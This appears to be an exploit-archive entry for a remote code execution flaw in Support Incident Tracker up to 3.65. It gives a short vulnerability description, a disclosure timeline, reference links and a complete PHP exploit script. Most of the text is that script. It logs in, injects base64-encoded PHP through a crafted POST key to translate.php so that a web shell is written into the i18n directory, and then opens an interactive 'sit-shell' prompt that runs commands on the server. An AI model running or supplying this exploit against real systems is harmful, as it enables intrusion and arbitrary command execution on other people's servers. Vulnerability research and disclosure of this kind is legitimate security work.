Support Incident Tracker 3.65 Remote Code Execution

2011-11-20 / 2012-01-30
Risk: High
Local: No
Remote: Yes
CWE: N/A

<?php /* ------------------------------------------------------------------------------ Support Incident Tracker <= 3.65 (translate.php) Remote Code Execution Exploit ------------------------------------------------------------------------------ author...............: Egidio Romano aka EgiX mail.................: n0b0d13s[at]gmail[dot]com software link........: http://sitracker.org/ affected versions....: from 3.45 to 3.65 +-------------------------------------------------------------------------+ | This proof of concept code was written for educational purpose only. | | Use it at your own risk. Author will be not responsible for any damage. | +-------------------------------------------------------------------------+ [-] vulnerable code in /translate.php 234. foreach (array_keys($_POST) as $key) 235. { 236. if (!empty($_POST[$key]) AND substr($key, 0, 3) == "str") 237. { 238. if ($lastchar!='' AND substr($key, 3, 1) != $lastchar) $i18nfile .= "\n"; 239. $i18nfile .= "\${$key} = '".addslashes($_POST[$key])."';\n"; 240. $lastchar = substr($key, 3, 1); 241. $translatedcount++; 242. } 243. } Input passed via keys of $_POST array isn't properly sanitized before being stored into $i18nfile variable at line 239, that variable will be the contents of a language file stored into 'i18n' directory with a php extension. This could allow authenticated users to inject and execute arbitrary PHP code. Furthermore, access directly to /translate.php?mode=save will reveal the full installation path of the application. [-] Disclosure timeline: [13/11/2011] - Vulnerability discovered [13/11/2011] - Issue reported to http://bugs.sitracker.org/view.php?id=1737 [13/11/2011] - Vendor replied that this issue is fixed in the current SVN trunk [19/11/2011] - Public disclosure */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "\n+------------------------------------------------------------------------+"; print "\n| Support Incident Tracker <= 3.65 Remote Code Execution Exploit by EgiX |"; print "\n+------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path> <username> <password>\n"; print "\nExample....: php $argv[0] localhost / user pass"; print "\nExample....: php $argv[0] localhost /sit/ user pass\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "username={$argv[3]}&password={$argv[4]}"; $packet = "POST {$path}login.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: SiTsessionID=foo\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; $response = http_send($host, $packet); if (!preg_match("/main.php/", $response)) die("\n[-] Login failed!\n"); if (!preg_match("/Set-Cookie: ([^;]*);/", $response, $sid)) die("\n[-] Session ID not found!\n"); $phpcode = base64_encode('passthru(base64_decode($_SERVER[HTTP_CMD]));print("___");'); $payload = "mode=save&lang=sh&str;eval(base64_decode({$phpcode}));//=1"; $packet = "POST {$path}translate.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cookie: {$sid[1]}\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$payload}"; http_send($host, $packet); $packet = "GET {$path}i18n/sh.inc.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nsit-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; $response = http_send($host, sprintf($packet, base64_encode($cmd))); preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?>

References:

http://xforce.iss.net/xforce/xfdb/71233
http://www.securityfocus.com/bid/50632
http://www.osvdb.org/76999
http://www.exploit-db.com/exploits/18108
http://secunia.com/secunia_research/2011-75/
http://secunia.com/advisories/45453
http://packetstormsecurity.org/files/106933/sit_file_upload.rb.txt


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